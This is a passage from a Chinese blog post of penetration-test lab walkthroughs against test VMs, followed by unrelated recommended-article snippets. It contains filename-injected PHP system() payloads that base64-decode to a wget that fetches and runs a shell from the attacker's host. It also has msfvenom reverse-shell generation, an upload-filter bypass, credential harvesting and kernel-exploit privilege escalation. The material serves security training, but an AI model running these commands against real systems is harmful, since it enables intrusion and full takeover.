d2dldCBodHRwOi8vMTkyLjE2OC41Ni4xMDIvc2hlbGwgLU8gL3RtcC9zaGVsbAo=

echo "chmod 777 /tmp/shell" | base64

得到

Y2htb2QgNzc3IC90bXAvc2hlbGwK

echo '/tmp/shell' | base64

得到

L3RtcC9zaGVsbAo=

执行反弹shell(注意:每执行一条指令都需要重新抓一次包)

点击Action选择send to Repeater发送到Repeater

将1.csv改成<?php system(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC41Ni4xMDIvc2hlbGwgLU8gL3RtcC9zaGVsbAo=')); die();?>.php

点击send再重新抓一次包

点击Action选择send to Repeater发送到Repeater

将2.csv改成<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvc2hlbGwK')); die();?>.php

点击send,再重新抓一次包

点击Action选择send to Repeater发送到Repeater

将3.csv改成<?php system(base64_decode('L3RtcC9zaGVsbAo=')); die();?>.php

点击send,反弹shell成功

五、查找flag

判断当前权限

优化会话

提权

利用perl反弹shell

获得flag

综合测试低难度

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.113

二、信息探测

nmap -sV 192.168.56.113

nmap -A -v -T5 192.168.56.113

dirb http://192.168.56.113

nikto -host http://192.168.56.113

发现敏感目录:/config.php、/login.php

访问敏感目录

/config.php页面和源代码均为空
/login.php为登录页面

尝试弱口令

三、绕过登录认证机制

查看页面源代码

源代码中,通过js代码限制了邮箱必须以@btrisk.com结尾

利用burpsuite进行fuzz测试,绕过登录验证机制,web模糊测试字典置/usr/share/wordlists/wfuzz

浏览器开启代理

尝试用@btrisk.com/123456登录,利用burpsuite进行截断

返回burpsuite查看抓到的数据包

将所有变量去掉

双击password,添加变量

设置payload,导入文件,攻击

查看攻击结果,复制链接并转到攻击页面

四、端口监听

使用metasploit监听

五、制作shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4444 -f raw > /root/桌面/shell.php

六、上传shell

上传shell.php发现智能上传.jpg和.png为后缀的文件

修改文件后缀名为.jpg并上传

数据包截断,并修改文件filename

上传成功

七、执行shell

关闭代理,去文件上传页面执行php

八、靶机提权

优化会话

python -c "import pty;pty.spawn('/bin/bash')"

在之前的nikto中,发现web有config.php文件,寻找config.php文件,找到mysql的用户与密码

读取数据库账号和密码

登录数据库

寻找有用信息

查看user下的信息

root提权

渗透结束

综合测试高难度

一、信息收集

攻击机ip为192.168.182.129

靶机ip为192.168.182.130

二、信息探测

nmap -sV 192.168.182.130

nmap -A -v -T5 192.168.182.130

dirb http://192.168.182.130

nikto -host http://192.168.182.130

nikto扫描到robots.txt并进行访问

robots.txt文件出现/wordpress/,对其进行访问

返现用户登录界面,进行账号的枚举

wpscan --url http://192.168.182.130/wordpress/ --enumerate at --enumerate ap --enumerate u

尝试弱口令登录

admin/admin

三、生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.182.129 LPORT=4444 -f raw > shell.php

四、上传shell

复制生成的shell上传到404页面上

点击Update File

五、启动监听

六、执行shell

浏览器访问:http://192.168.182.130/wordpress/wp-content/themes/twentyfourteen/404.php

七、查看系统信息

八、提权

sudo -l(无法提权)

searchsploit ubuntu 4.4.0

编译代码

上传shellroot到/var/www/html下

下载shellroot到靶机

upload shellroot

给shellroot提权并执行

chomod 777 shellroot
执行shellroot

无flag,渗透结束

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_57536426/article/details/135098568

智能推荐

hdu 1229 还是A+B(水)-程序员宅基地

文章浏览阅读122次。还是A+BTime Limit: 2000/1000 MS (Java/Others)Memory Limit: 65536/32768 K (Java/Others)Total Submission(s): 24568Accepted Submission(s): 11729Problem Description读入两个小于10000的正整数A和B,计算A+B。...

http客户端Feign——日志配置_feign 日志设置-程序员宅基地

文章浏览阅读419次。HEADERS:在BASIC的基础上,额外记录了请求和响应的头信息。FULL:记录所有请求和响应的明细,包括头信息、请求体、元数据。BASIC:仅记录请求的方法,URL以及响应状态码和执行时间。NONE:不记录任何日志信息,这是默认值。配置Feign日志有两种方式;方式二:java代码实现。注解中声明则代表某服务。方式一:配置文件方式。_feign 日志设置

[转载]将容器管理的持久性 Bean 用于面向服务的体系结构-程序员宅基地

文章浏览阅读155次。将容器管理的持久性 Bean 用于面向服务的体系结构本文将介绍如何使用 IBM WebSphere Process Server 对容器管理的持久性 (CMP) Bean的连接和持久性逻辑加以控制,使其可以存储在非关系数据库..._javax.ejb.objectnotfoundexception: no such entity!

基础java练习题(递归)_java 递归例题-程序员宅基地

文章浏览阅读1.5k次。基础java练习题一、递归实现跳台阶从第一级跳到第n级,有多少种跳法一次可跳一级,也可跳两级。还能跳三级import java.math.BigDecimal;import java.util.Scanner;public class Main{ public static void main(String[]args){ Scanner reader=new Scanner(System.in); while(reader.hasNext()){ _java 递归例题

面向对象程序设计(荣誉)实验一 String_对存储在string数组内的所有以字符‘a’开始并以字符‘e’结尾的单词做加密处理。-程序员宅基地

文章浏览阅读1.5k次,点赞6次,收藏6次。目录1.串应用- 计算一个串的最长的真前后缀题目描述输入输出样例输入样例输出题解2.字符串替换(string)题目描述输入输出样例输入样例输出题解3.可重叠子串 (Ver. I)题目描述输入输出样例输入样例输出题解4.字符串操作(string)题目描述输入输出样例输入样例输出题解1.串应用- 计算一个串的最长的真前后缀题目描述给定一个串,如ABCDAB,则ABCDAB的真前缀有:{ A, AB,ABC, ABCD, ABCDA }ABCDAB的真后缀有:{ B, AB,DAB, CDAB, BCDAB_对存储在string数组内的所有以字符‘a’开始并以字符‘e’结尾的单词做加密处理。

算法设计与问题求解/西安交通大学本科课程MOOC/C_算法设计与问题求解西安交通大学-程序员宅基地

文章浏览阅读68次。西安交通大学/算法设计与问题求解/树与二叉树/MOOC_算法设计与问题求解西安交通大学

随便推点

[Vue warn]: Computed property “totalPrice“ was assigned to but it has no setter._computed property "totalprice" was assigned to but-程序员宅基地

文章浏览阅读1.6k次。问题:在Vue项目中出现如下错误提示:[Vue warn]: Computed property "totalPrice" was assigned to but it has no setter. (found in <Anonymous>)代码:<input v-model="totalPrice"/>原因:v-model命令,因Vue 的双向数据绑定原理 , 会自动操作 totalPrice, 对其进行set 操作而 totalPrice 作为计..._computed property "totalprice" was assigned to but it has no setter.

basic1003-我要通过!13行搞定:也许是全网最奇葩解法_basic 1003 case 1-程序员宅基地

文章浏览阅读60次。十分暴力而简洁的解决方式:读取P和T的位置并自动生成唯一正确答案,将题给测点与之对比,不一样就给我爬!_basic 1003 case 1

服务器浏览war文件,详解将Web项目War包部署到Tomcat服务器基本步骤-程序员宅基地

文章浏览阅读422次。原标题:详解将Web项目War包部署到Tomcat服务器基本步骤详解将Web项目War包部署到Tomcat服务器基本步骤1 War包War包一般是在进行Web开发时,通常是一个网站Project下的所有源码的集合,里面包含前台HTML/CSS/JS的代码,也包含Java的代码。当开发人员在自己的开发机器上调试所有代码并通过后,为了交给测试人员测试和未来进行产品发布,都需要将开发人员的源码打包成Wa..._/opt/bosssoft/war/medical-web.war/web-inf/web.xml of module medical-web.war.

python组成三位无重复数字_python组合无重复三位数的实例-程序员宅基地

文章浏览阅读3k次,点赞3次,收藏13次。# -*- coding: utf-8 -*-# 简述:这里有四个数字,分别是:1、2、3、4#提问:能组成多少个互不相同且无重复数字的三位数?各是多少?def f(n):list=[]count=0for i in range(1,n+1):for j in range(1, n+1):for k in range(1, n+1):if i!=j and j!=k and i!=k:list.a..._python求从0到9任意组合成三位数数字不能重复并输出

ElementUl中的el-table怎样吧0和1改变为男和女_elementui table 性别-程序员宅基地

文章浏览阅读1k次,点赞3次,收藏2次。<el-table-column prop="studentSex" label="性别" :formatter="sex"></el-table-column>然后就在vue的methods中写方法就OK了methods: { sex(row,index){ if(row.studentSex == 1){ return '男'; }else{ return '女'; }..._elementui table 性别

java文件操作之移动文件到指定的目录_java中怎么将pro.txt移动到design_mode_code根目录下-程序员宅基地

文章浏览阅读1.1k次。java文件操作之移动文件到指定的目录_java中怎么将pro.txt移动到design_mode_code根目录下

推荐文章

热门文章

相关标签